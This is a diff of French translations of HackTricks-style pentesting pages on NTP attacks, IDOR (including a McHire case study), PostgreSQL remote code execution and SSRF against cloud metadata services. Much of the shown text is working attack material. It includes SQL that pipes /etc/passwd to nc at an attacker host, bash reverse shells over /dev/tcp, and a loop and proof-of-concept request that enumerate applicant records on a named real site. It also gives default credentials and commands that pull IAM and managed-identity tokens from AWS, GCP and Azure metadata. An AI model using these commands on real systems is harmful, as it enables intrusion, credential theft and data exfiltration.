Le **Network Time Protocol (NTP)** garantit que les ordinateurs et les dispositifs réseau sur des réseaux à latence variable synchronisent leurs horloges avec précision. C'est vital pour maintenir une chronométrie précise dans les opérations informatiques, la sécurité et la journalisation. Parce que le temps est utilisé dans presque tous les processus d'authentification, de crypto-protocole et d'analyse judiciaire, **un attaquant capable d'influencer NTP peut souvent contourner les contrôles de sécurité ou rendre les attaques plus difficiles à enquêter.**
|
||||
|
||||
### Résumé & Conseils de sécurité
|
||||
|
||||
- **Objectif** : Synchronise les horloges des dispositifs sur les réseaux.
|
||||
- **Importance** : Critique pour la sécurité, la journalisation, les protocoles cryptographiques et les systèmes distribués.
|
||||
- **Importance** : Critique pour la sécurité, la journalisation, les crypto-protocoles et les systèmes distribués.
|
||||
- **Mesures de sécurité** :
|
||||
- Utilisez des sources NTP ou NTS (Network Time Security) de confiance avec authentification.
|
||||
- Restreindre qui peut interroger/commander le démon (``restrict default noquery``, ``kod`` etc.).
|
||||
@ -80,29 +80,29 @@ Faites particulièrement attention aux lignes ``restrict``, aux paramètres ``ko
|
||||
|
||||
| Année | CVE | Composant | Impact |
|
||||
|------|-----|-----------|--------|
|
||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Écritures hors limites multiples accessibles via les réponses **ntpq**. Correctif dans **4.2.8p16** 🡒 mise à niveau ou correctifs de rétroport. citeturn1search1turn1search2turn1search0|
|
||||
| 2023 | **CVE-2023-33192** | **ntpd-rs** (implémentation Rust) | Cookie **NTS** malformé provoque un **DoS** à distance avant v0.3.3 – affecte le port 123 même lorsque NTS **désactivé**. citeturn4view0|
|
||||
| 2024 | mises à jour de distribution | **chrony 4.4 / 4.5** – plusieurs durcissements de sécurité & correctifs NTS-KE (par exemple, SUSE-RU-2024:2022) citeturn2search2|
|
||||
| 2024 | DDoS enregistré | Cloudflare signale une attaque de **réflexion UDP de 5,6 Tbps** (NTP parmi les protocoles utilisés). Gardez *monitor* & *monlist* désactivés sur les hôtes exposés à Internet. citeturn5search0|
|
||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Écritures hors limites multiples accessibles via les réponses **ntpq**. Correctif dans **4.2.8p16** 🡒 mise à niveau ou correctifs de rétroport. |
|
||||
| 2023 | **CVE-2023-33192** | **ntpd-rs** (implémentation Rust) | Un cookie **NTS** malformé provoque un **DoS** à distance avant v0.3.3 – affecte le port 123 même lorsque NTS **désactivé**. |
|
||||
| 2024 | mises à jour de distribution | **chrony 4.4 / 4.5** – plusieurs durcissements de sécurité & correctifs NTS-KE (par exemple, SUSE-RU-2024:2022) |
|
||||
| 2024 | DDoS record | Cloudflare signale une attaque de **réflexion UDP de 5,6 Tbps** (NTP parmi les protocoles utilisés). Gardez *monitor* & *monlist* désactivés sur les hôtes exposés à Internet. |
|
||||
|
||||
> **Kits d'exploitation** : Des charges utiles de preuve de concept pour la série d'écritures OOB ntpq 2023 sont sur GitHub (voir l'article de Meinberg) et peuvent être armées pour le phishing côté client des administrateurs système. citeturn1search4
|
||||
> **Kits d'exploitation** : Des charges utiles de preuve de concept pour la série d'écritures OOB ntpq 2023 sont sur GitHub (voir l'article de Meinberg) et peuvent être armées pour le phishing côté client des administrateurs système.
|
||||
|
||||
---
|
||||
## Attaques avancées
|
||||
|
||||
### 1. Amplification / Réflexion NTP
|
||||
|
||||
La requête héritée Mode-7 ``monlist`` renvoie jusqu'à **600 adresses hôtes** et est toujours présente sur des milliers d'hôtes Internet. Comme la réponse (428-468 octets/entrée) est *~ 200×* plus grande que la requête de 8 octets, un attaquant peut atteindre des facteurs d'amplification à trois chiffres. Atténuations :
|
||||
La requête Mode-7 ``monlist`` renvoie jusqu'à **600 adresses hôtes** et est toujours présente sur des milliers d'hôtes Internet. Comme la réponse (428-468 octets/entrée) est *~ 200×* plus grande que la requête de 8 octets, un attaquant peut atteindre des facteurs d'amplification à trois chiffres. Atténuations :
|
||||
|
||||
- Mettez à niveau vers ntp 4.2.8p15+ et **ajoutez** ``disable monitor``.
|
||||
- Limitez le débit UDP/123 à la périphérie ou activez *sessions-required* sur les appareils DDoS.
|
||||
- Activez le filtrage de sortie *BCP 38* pour bloquer le spoofing de source.
|
||||
|
||||
Consultez l'article du centre d'apprentissage de Cloudflare pour un guide étape par étape. citeturn5search1
|
||||
Consultez l'article du centre d'apprentissage de Cloudflare pour un décompte étape par étape.
|
||||
|
||||
### 2. Attaques de décalage temporel / de retard (recherche Khronos / Chronos)
|
||||
### 2. Attaques de décalage / retard temporel (recherche Khronos / Chronos)
|
||||
|
||||
Même avec authentification, un attaquant sur le chemin peut silencieusement **décaler l'horloge du client** en supprimant/délai des paquets. Le **brouillon Khronos (anciennement Chronos)** de l'IETF propose d'interroger un ensemble diversifié de serveurs en arrière-plan et de vérifier la cohérence du résultat pour détecter un décalage > 𝚡 ms. Le chrony moderne (4.4+) implémente déjà un filtre de cohérence similaire (``maxdistance`` / ``maxjitter``). citeturn9search1
|
||||
Même avec authentification, un attaquant sur le chemin peut silencieusement **décaler l'horloge du client** en supprimant/délai des paquets. Le **brouillon IETF Khronos (anciennement Chronos)** propose d'interroger un ensemble diversifié de serveurs en arrière-plan et de vérifier la validité du résultat pour détecter un décalage > 𝚡 ms. Le chrony moderne (4.4+) implémente déjà un filtre de validité similaire (``maxdistance`` / ``maxjitter``).
|
||||
|
||||
### 3. Abus de NTS & exposition 4460/tcp
|
||||
|
||||
@ -114,7 +114,7 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
|
||||
# Grab banner & ALPN
|
||||
openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
|
||||
```
|
||||
Recherchez des certificats auto-signés ou expirés et des suites de chiffrement faibles (non-AEAD). Référence : RFC 8915 §4. citeturn11search0
|
||||
Recherchez des certificats auto-signés ou expirés et des suites de chiffrement faibles (non-AEAD). Référence : RFC 8915 §4.
|
||||
|
||||
---
|
||||
## Renforcement / Meilleures Pratiques Actuelles (BCP-233 / RFC 8633)
|
||||
@ -127,7 +127,7 @@ Recherchez des certificats auto-signés ou expirés et des suites de chiffrement
|
||||
4. Envisager **leap-smear** pour éviter les pannes de seconde intercalaire, mais s'assurer que *tous* les clients en aval utilisent la même fenêtre de smear.
|
||||
5. Garder le polling ≤24 h afin que les indicateurs de seconde intercalaire ne soient pas manqués.
|
||||
|
||||
Voir RFC 8633 pour une liste de contrôle complète. citeturn8search0turn8search1
|
||||
Voir RFC 8633 pour une liste de contrôle complète.
|
||||
|
||||
---
|
||||
## Shodan / Censys Dorks
|
||||
@ -141,9 +141,9 @@ port:4460 "ntske" # NTS-KE
|
||||
|
||||
| Outil | But | Exemple |
|
||||
|-------|-----|---------|
|
||||
| ``ntpwn`` | Wrapper de script-kiddie pour pulvériser les requêtes monlist & peers | ``python ntpwn.py --monlist targets.txt`` |
|
||||
| ``ntpwn`` | Wrapper pour script-kiddie pour pulvériser les requêtes monlist & peers | ``python ntpwn.py --monlist targets.txt`` |
|
||||
| **zgrab2 ntp** | Scan de masse / sortie JSON incluant le drapeau monlist | Voir la commande ci-dessus |
|
||||
| ``chronyd`` avec ``allow`` | Exécuter un serveur NTP malveillant dans un laboratoire de pentest | ``chronyd -q 'server 127.127.1.0 iburst'`` |
|
||||
| ``chronyd`` avec ``allow`` | Exécuter un serveur NTP rogue dans un laboratoire de pentest | ``chronyd -q 'server 127.127.1.0 iburst'`` |
|
||||
| ``BetterCap`` | Injecter des paquets NTP pour un MITM de décalage horaire sur Wi-Fi | ``set arp.spoof.targets <victim>; set ntp.time.delta 30s; arp.spoof on`` |
|
||||
|
||||
---
|
||||
@ -169,14 +169,14 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
|
||||
---
|
||||
## Références
|
||||
|
||||
- RFC 8915 – *Sécurité du temps réseau pour le protocole de temps réseau* (port 4460) citeturn11search0
|
||||
- RFC 8633 – *Protocole de temps réseau BCP* citeturn8search0
|
||||
- Rapport DDoS de Cloudflare 2024 T4 (5,6 Tbps) citeturn5search0
|
||||
- Article de Cloudflare sur l'*attaque d'amplification NTP* citeturn5search1
|
||||
- NTP 4.2.8p15 série CVE 2023-04 citeturn1search4
|
||||
- Entrées NVD **CVE-2023-26551–55**, **CVE-2023-33192** citeturn1search1turn1search2turn1search0turn4view0
|
||||
- Mise à jour de sécurité chrony SUSE 2024 (chrony 4.5) citeturn2search2
|
||||
- Projet Khronos/Chronos (atténuation du décalage horaire) citeturn9search1
|
||||
- Manuel chronyc/exemples pour la surveillance à distance citeturn3search0turn10search1
|
||||
- Docs du module ntp zgrab2 citeturn7search0
|
||||
- RFC 8915 – *Sécurité du temps réseau pour le protocole de temps réseau* (port 4460)
|
||||
- RFC 8633 – *Protocole de temps réseau BCP*
|
||||
- Rapport DDoS de Cloudflare Q4 2024 (5,6 Tbps)
|
||||
- Article de Cloudflare sur l'*attaque d'amplification NTP*
|
||||
- NTP 4.2.8p15 série CVE 2023-04
|
||||
- Entrées NVD **CVE-2023-26551–55**, **CVE-2023-33192**
|
||||
- Mise à jour de sécurité chrony SUSE 2024 (chrony 4.5)
|
||||
- Projet Khronos/Chronos (atténuation du décalage horaire)
|
||||
- Manuel chronyc/exemples pour la surveillance à distance
|
||||
- Docs du module ntp zgrab2
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,5 +1,85 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**Vérifiez le post : [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
|
||||
# IDOR (Insecure Direct Object Reference)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) apparaît lorsqu'un point de terminaison web ou API divulgue ou accepte un identifiant contrôlable par l'utilisateur qui est utilisé **directement** pour accéder à un objet interne **sans vérifier que l'appelant est autorisé** à accéder/modifier cet objet. L'exploitation réussie permet normalement une élévation de privilèges horizontale ou verticale, comme la lecture ou la modification des données d'autres utilisateurs et, dans le pire des cas, la prise de contrôle complète du compte ou l'exfiltration de données massives.
|
||||
|
||||
---
|
||||
## 1. Identifier les IDOR potentiels
|
||||
|
||||
1. Recherchez des **paramètres qui font référence à un objet** :
|
||||
* Chemin : `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Requête : `?id=42`, `?invoice=2024-00001`
|
||||
* Corps / JSON : `{"user_id": 321, "order_id": 987}`
|
||||
* En-têtes / Cookies : `X-Client-ID: 4711`
|
||||
2. Préférez les points de terminaison qui **lisent ou mettent à jour** des données (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||||
3. Notez lorsque les identifiants sont **séquentiels ou prévisibles** – si votre ID est `64185742`, alors `64185741` existe probablement.
|
||||
4. Explorez des flux cachés ou alternatifs (par exemple, le lien *"Membres de l'équipe Paradox"* sur les pages de connexion) qui pourraient exposer des API supplémentaires.
|
||||
5. Utilisez une **session authentifiée à faible privilège** et changez uniquement l'ID **en gardant le même token/cookie**. L'absence d'une erreur d'autorisation est généralement un signe d'IDOR.
|
||||
|
||||
### Quick manual tampering (Burp Repeater)
|
||||
```
|
||||
PUT /api/lead/cem-xhr HTTP/1.1
|
||||
Host: www.example.com
|
||||
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
|
||||
Content-Type: application/json
|
||||
|
||||
{"lead_id":64185741}
|
||||
```
|
||||
### Énumération automatisée (Burp Intruder / boucle curl)
|
||||
```bash
|
||||
for id in $(seq 64185742 64185700); do
|
||||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: auth=$TOKEN" \
|
||||
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||||
done
|
||||
```
|
||||
---
|
||||
## 2. Étude de cas du monde réel – Plateforme de chatbot McHire (2025)
|
||||
|
||||
Lors d'une évaluation du portail de recrutement **McHire** alimenté par Paradox.ai, l'IDOR suivant a été découvert :
|
||||
|
||||
* Point de terminaison : `PUT /api/lead/cem-xhr`
|
||||
* Autorisation : cookie de session utilisateur pour **n'importe quel** compte test de restaurant
|
||||
* Paramètre du corps : `{"lead_id": N}` – identifiant numérique **séquentiel** à 8 chiffres
|
||||
|
||||
En diminuant `lead_id`, le testeur a récupéré des **PII** complètes d'arbitraires candidats (nom, e-mail, téléphone, adresse, préférences de quart) ainsi qu'un **JWT** consommateur qui permettait le détournement de session. L'énumération de la plage `1 – 64,185,742` a exposé environ **64 millions** d'enregistrements.
|
||||
|
||||
Demande de preuve de concept :
|
||||
```bash
|
||||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"lead_id":64185741}'
|
||||
```
|
||||
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
|
||||
|
||||
---
|
||||
## 3. Impact de l'IDOR / BOLA
|
||||
* Escalade horizontale – lire/mettre à jour/supprimer les données **d'autres utilisateurs**.
|
||||
* Escalade verticale – un utilisateur à faible privilège obtient des fonctionnalités réservées aux administrateurs.
|
||||
* Violation massive de données si les identifiants sont séquentiels (par exemple, identifiants de candidats, factures).
|
||||
* Prise de contrôle de compte en volant des jetons ou en réinitialisant les mots de passe d'autres utilisateurs.
|
||||
|
||||
---
|
||||
## 4. Atténuations & Meilleures Pratiques
|
||||
1. **Appliquer l'autorisation au niveau des objets** sur chaque requête (`user_id == session.user`).
|
||||
2. Préférer des **identifiants indirects et impossibles à deviner** (UUIDv4, ULID) au lieu d'IDs auto-incrémentés.
|
||||
3. Effectuer l'autorisation **côté serveur**, ne jamais se fier aux champs de formulaire cachés ou aux contrôles UI.
|
||||
4. Implémenter des vérifications **RBAC / ABAC** dans un middleware central.
|
||||
5. Ajouter **limitation de taux & journalisation** pour détecter l'énumération des IDs.
|
||||
6. Tester la sécurité de chaque nouvel endpoint (unitaire, intégration et DAST).
|
||||
|
||||
---
|
||||
## 5. Outils
|
||||
* **Extensions BurpSuite** : Authorize, Auto Repeater, Turbo Intruder.
|
||||
* **OWASP ZAP** : Auth Matrix, Forced Browse.
|
||||
* **Projets Github** : `bwapp-idor-scanner`, `Blindy` (chasse IDOR en masse).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Références
|
||||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -8,13 +8,13 @@ PostgreSQL a été développé avec l'extensibilité comme caractéristique prin
|
||||
|
||||
À partir de la version 8.1, une exigence spécifique est imposée aux bibliothèques d'extension : elles doivent être compilées avec un en-tête spécial. Sans cela, PostgreSQL ne les exécutera pas, garantissant que seules des extensions compatibles et potentiellement sécurisées sont utilisées.
|
||||
|
||||
De plus, gardez à l'esprit que **si vous ne savez pas comment** [**télécharger des fichiers vers la victime en abusant de PostgreSQL, vous devriez lire ce post.**](big-binary-files-upload-postgresql.md)
|
||||
De plus, gardez à l'esprit que **si vous ne savez pas comment** [**télécharger des fichiers sur la victime en abusant de PostgreSQL, vous devriez lire ce post.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
### RCE sous Linux
|
||||
|
||||
**Pour plus d'informations, consultez : [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
|
||||
L'exécution de commandes système depuis PostgreSQL 8.1 et les versions antérieures est un processus qui a été clairement documenté et est simple. Il est possible d'utiliser ce : [module Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
L'exécution de commandes système depuis PostgreSQL 8.1 et les versions antérieures est un processus qui a été clairement documenté et qui est simple. Il est possible d'utiliser ce : [module Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
@ -90,7 +90,7 @@ Obtenez la version de PostgreSQL avec :
|
||||
SELECT version();
|
||||
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
||||
```
|
||||
Pour la compatibilité, il est essentiel que les versions majeures s'alignent. Par conséquent, compiler une bibliothèque avec n'importe quelle version de la série 9.6.x devrait garantir une intégration réussie.
|
||||
Pour des raisons de compatibilité, il est essentiel que les versions majeures soient alignées. Par conséquent, compiler une bibliothèque avec n'importe quelle version de la série 9.6.x devrait garantir une intégration réussie.
|
||||
|
||||
Pour installer cette version sur votre système :
|
||||
```bash
|
||||
@ -119,7 +119,7 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
|
||||
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||
#Notice the double single quotes are needed to scape the qoutes
|
||||
```
|
||||
Vous pouvez trouver cette **bibliothèque précompilée** pour plusieurs versions différentes de PostgreSQL et vous pouvez même **automatiser ce processus** (si vous avez accès à PostgreSQL) avec :
|
||||
Vous pouvez trouver cette **bibliothèque précompilée** pour plusieurs versions différentes de PostgreSQL et même **automatiser ce processus** (si vous avez accès à PostgreSQL) avec :
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/Dionach/pgexec
|
||||
@ -262,7 +262,7 @@ Le [PolyUDF project](https://github.com/rop-la/PolyUDF) est également un bon po
|
||||
|
||||
### RCE dans les dernières versions de PostgreSQL
|
||||
|
||||
Dans les **dernières versions** de PostgreSQL, des restrictions ont été imposées où le `superuser` est **interdit** de **charger** des fichiers de bibliothèque partagée sauf à partir de répertoires spécifiques, tels que `C:\Program Files\PostgreSQL\11\lib` sur Windows ou `/var/lib/postgresql/11/lib` sur les systèmes \*nix. Ces répertoires sont **sécurisés** contre les opérations d'écriture par les comptes NETWORK_SERVICE ou postgres.
|
||||
Dans les **dernières versions** de PostgreSQL, des restrictions ont été imposées où le `superuser` est **interdit** de **charger** des fichiers de bibliothèque partagée sauf depuis des répertoires spécifiques, tels que `C:\Program Files\PostgreSQL\11\lib` sur Windows ou `/var/lib/postgresql/11/lib` sur les systèmes \*nix. Ces répertoires sont **sécurisés** contre les opérations d'écriture par les comptes NETWORK_SERVICE ou postgres.
|
||||
|
||||
Malgré ces restrictions, il est possible pour un `superuser` de base de données authentifié de **crire des fichiers binaires** sur le système de fichiers en utilisant des "objets volumineux". Cette capacité s'étend à l'écriture dans le répertoire `C:\Program Files\PostgreSQL\11\data`, qui est essentiel pour les opérations de base de données comme la mise à jour ou la création de tables.
|
||||
|
||||
@ -281,10 +281,10 @@ Une fois que vous avez téléchargé l'extension (avec le nom de poc.dll pour ce
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_Notez que vous n'avez pas besoin d'ajouter l'extension `.dll` car la fonction de création l'ajoutera._
|
||||
_Remarque que tu n'as pas besoin d'ajouter l'extension `.dll` car la fonction de création l'ajoutera._
|
||||
|
||||
Pour plus d'informations, **lisez la** [**publication originale ici**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
Dans cette publication, **c'était le** [**code utilisé pour générer l'extension postgres**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_pour apprendre à compiler une extension postgres, lisez l'une des versions précédentes_).\
|
||||
Pour plus d'informations, **lis la** [**publication originale ici**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
Dans cette publication, **c'était le** [**code utilisé pour générer l'extension postgres**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_pour apprendre à compiler une extension postgres, lis n'importe quelle des versions précédentes_).\
|
||||
Sur la même page, cet **exploit pour automatiser** cette technique a été donné :
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
### Abuser de SSRF dans l'environnement AWS EC2
|
||||
|
||||
**Le point de terminaison** des métadonnées peut être accessible depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Il est accessible à l'url : `http://169.254.169.254` ([informations sur les métadonnées ici](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
**Le point de terminaison des métadonnées** peut être accédé depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Il est accessible à l'url : `http://169.254.169.254` ([informations sur les métadonnées ici](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
Il existe **2 versions** du point de terminaison des métadonnées. La **première** permet d'**accéder** au point de terminaison via des requêtes **GET** (donc tout **SSRF peut l'exploiter**). Pour la **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), vous devez demander un **jeton** en envoyant une requête **PUT** avec un **en-tête HTTP** et ensuite utiliser ce jeton pour accéder aux métadonnées avec un autre en-tête HTTP (donc c'est **plus compliqué à abuser** avec un SSRF).
|
||||
|
||||
@ -94,7 +94,7 @@ Remarquez le **aws_session_token**, cela est indispensable pour que le profil fo
|
||||
|
||||
### SSRF dans les identifiants AWS ECS (Service de Conteneurs)
|
||||
|
||||
**ECS** est un groupe logique d'instances EC2 sur lesquelles vous pouvez exécuter une application sans avoir à gérer votre propre infrastructure de gestion de cluster, car ECS s'en charge pour vous. Si vous parvenez à compromettre un service fonctionnant dans **ECS**, les **points de terminaison de métadonnées changent**.
|
||||
**ECS** est un groupe logique d'instances EC2 sur lequel vous pouvez exécuter une application sans avoir à gérer votre propre infrastructure de gestion de cluster, car ECS s'en occupe pour vous. Si vous parvenez à compromettre un service fonctionnant dans **ECS**, les **points de terminaison de métadonnées changent**.
|
||||
|
||||
Si vous accédez à _**http://169.254.170.2/v2/credentials/\<GUID>**_, vous trouverez les identifiants de la machine ECS. Mais d'abord, vous devez **trouver le \<GUID>**. Pour trouver le \<GUID>, vous devez lire la variable **environ** **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** à l'intérieur de la machine.\
|
||||
Vous pourriez être en mesure de le lire en exploitant un **Path Traversal** vers `file:///proc/self/environ`\
|
||||
@ -102,7 +102,7 @@ L'adresse http mentionnée devrait vous donner la **AccessKey, SecretKey et toke
|
||||
```bash
|
||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||
```
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Notez que dans **certains cas**, vous pourrez accéder aux **métadonnées de l'instance EC2** depuis le conteneur (vérifiez les limitations de TTL IMDSv2 mentionnées précédemment). Dans ces scénarios, depuis le conteneur, vous pourriez accéder à la fois au rôle IAM du conteneur et au rôle IAM de l'EC2.
|
||||
|
||||
### SSRF pour AWS Lambda
|
||||
@ -127,7 +127,7 @@ Nous récupérons le `accountId` et la `region` depuis l'API.
|
||||
http://169.254.169.254/latest/dynamic/instance-identity/document
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
Nous récupérons ensuite l'`AccessKeyId`, le `SecretAccessKey` et le `Token` depuis l'API.
|
||||
Nous récupérons ensuite le `AccessKeyId`, le `SecretAccessKey` et le `Token` depuis l'API.
|
||||
```
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
|
||||
```
|
||||
@ -143,9 +143,9 @@ Vous pouvez [**trouver ici la documentation sur les points de terminaison de mé
|
||||
|
||||
Nécessite l'en-tête HTTP **`Metadata-Flavor: Google`** et vous pouvez accéder au point de terminaison de métadonnées avec les URL suivantes :
|
||||
|
||||
- http://169.254.169.254
|
||||
- http://metadata.google.internal
|
||||
- http://metadata
|
||||
- [http://169.254.169.254](http://169.254.169.254)
|
||||
- [http://metadata.google.internal](http://metadata.google.internal)
|
||||
- [http://metadata](http://metadata)
|
||||
|
||||
Points de terminaison intéressants pour extraire des informations :
|
||||
```bash
|
||||
@ -325,7 +325,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
> [!TIP]
|
||||
> Une VM Azure peut avoir 1 identité gérée par le système et plusieurs identités gérées par l'utilisateur. Ce qui signifie essentiellement que vous pouvez **imiter toutes les identités gérées attachées à une VM**.
|
||||
>
|
||||
> Lors de la demande d'un jeton d'accès à l'endpoint de métadonnées, par défaut, le service de métadonnées utilisera l'**identité gérée assignée par le système** pour générer le jeton, s'il y a une identité gérée assignée par le système. Dans le cas où il n'y a qu'**UNE seule identité gérée assignée par l'utilisateur**, alors celle-ci sera utilisée par défaut. Cependant, s'il n'y a pas d'identité gérée assignée par le système et qu'il y a **plusieurs identités gérées assignées par l'utilisateur**, alors le service de métadonnées renverra une erreur indiquant qu'il y a plusieurs identités gérées et qu'il est nécessaire de **spécifier laquelle utiliser**.
|
||||
> Lors de la demande d'un jeton d'accès à l'endpoint de métadonnées, par défaut, le service de métadonnées utilisera l'**identité gérée assignée par le système** pour générer le jeton, s'il y a une identité gérée assignée par le système. Dans le cas où il n'y a qu'**UNE identité gérée assignée par l'utilisateur**, alors celle-ci sera utilisée par défaut. Cependant, s'il n'y a pas d'identité gérée assignée par le système et qu'il y a **plusieurs identités gérées assignées par l'utilisateur**, alors le service de métadonnées renverra une erreur indiquant qu'il y a plusieurs identités gérées et qu'il est nécessaire de **spécifier laquelle utiliser**.
|
||||
>
|
||||
> Malheureusement, je n'ai pas pu trouver d'endpoint de métadonnées indiquant toutes les identités gérées qu'une VM a attachées, donc découvrir toutes les identités gérées assignées à une VM pourrait être une tâche difficile du point de vue d'une équipe rouge.
|
||||
>
|
||||
@ -335,8 +335,8 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
>
|
||||
> ```bash
|
||||
> az vm identity show \
|
||||
> --resource-group <rsc-group> \
|
||||
> --name <vm-name>
|
||||
> --resource-group <rsc-group> \
|
||||
> --name <vm-name>
|
||||
> ```
|
||||
>
|
||||
> - Obtenir **les identités attachées** en utilisant l'identité gérée par défaut dans les métadonnées :
|
||||
@ -346,20 +346,20 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
||||
>
|
||||
> # Obtenir le jeton de l'identité gérée par défaut
|
||||
> export TOKEN=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
||||
> | jq -r '.access_token')
|
||||
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
|
||||
> | jq -r '.access_token')
|
||||
>
|
||||
> # Obtenir les détails nécessaires
|
||||
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
|
||||
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
|
||||
> export VM_NAME=$(curl -s -H "Metadata:true" \
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||||
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
|
||||
>
|
||||
> # Essayer d'obtenir les identités gérées attachées
|
||||
> curl -s -H "Authorization: Bearer $TOKEN" \
|
||||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||||
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
|
||||
> ```
|
||||
>
|
||||
> - **Obtenir toutes** les identités gérées définies dans le locataire et **forcer** pour voir si l'une d'elles est attachée à la VM :
|
||||
@ -427,9 +427,12 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Azure App & Functions Services & Automation Accounts
|
||||
> [!WARNING]
|
||||
> Notez que le point de terminaison **`http://169.254.169.254/metadata/v1/instanceinfo` ne nécessite pas l'en-tête `Metadata: True`**, ce qui est excellent pour montrer l'impact des vulnérabilités SSRF dans Azure où vous ne pouvez pas ajouter cet en-tête.
|
||||
|
||||
